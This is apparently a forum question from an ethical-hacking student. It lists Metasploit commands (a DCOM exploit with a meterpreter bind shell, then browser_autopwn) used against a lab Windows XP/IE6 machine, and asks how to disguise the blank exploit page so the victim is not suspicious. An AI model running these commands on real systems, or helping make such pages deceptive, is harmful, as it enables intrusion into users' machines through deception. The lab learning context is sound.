I'm studying Ethical Hacking, using BindTCP on Metasploit, Kali Linux.
This video shows the steps, and I successfully exploited an unpatched Windows XP running a vulnerable IE 6 (on my personal VMWare network).
The premise is to get victim to visit a webpage. Doing this will allow attacker to get a meterpreter session, thereby accessing the victim machine.
But when the victim clicks the page, it is just blank, which itself raises suspicions.
Question: How to edit the webpage so it has normal looking content?
Here is what I did:
root > sudo msfconsole msf > use exploit/windows/dcerpc/ms03_026_dcom msf exploit (ms03_026_dcom) > set PAYLOAD windows/meterpreter/bind_tcp msf exploit (ms03_026_dcom) > set RHOST 192.168.1.9 msf exploit (ms03_026_dcom) > set RPORT 445 msf exploit (ms03_026_dcom) > use auxiliary/server/browser_autopwn msf auxiliary (browser_autopwn) > set LHOST 192.168.1.10 msf auxiliary (browser_autopwn) > exploit .....
After finding exploits, it starts various servers along with links, then it concludes with
When I open the link in the victim machine (using IE 6), it starts the meterpreter session in Kali Linux,
but victim sees a blank webpage with the original web address. Please point me in the right direction. How do I even search for tutorials that show how to edit malicious webpage for victim. Thanks!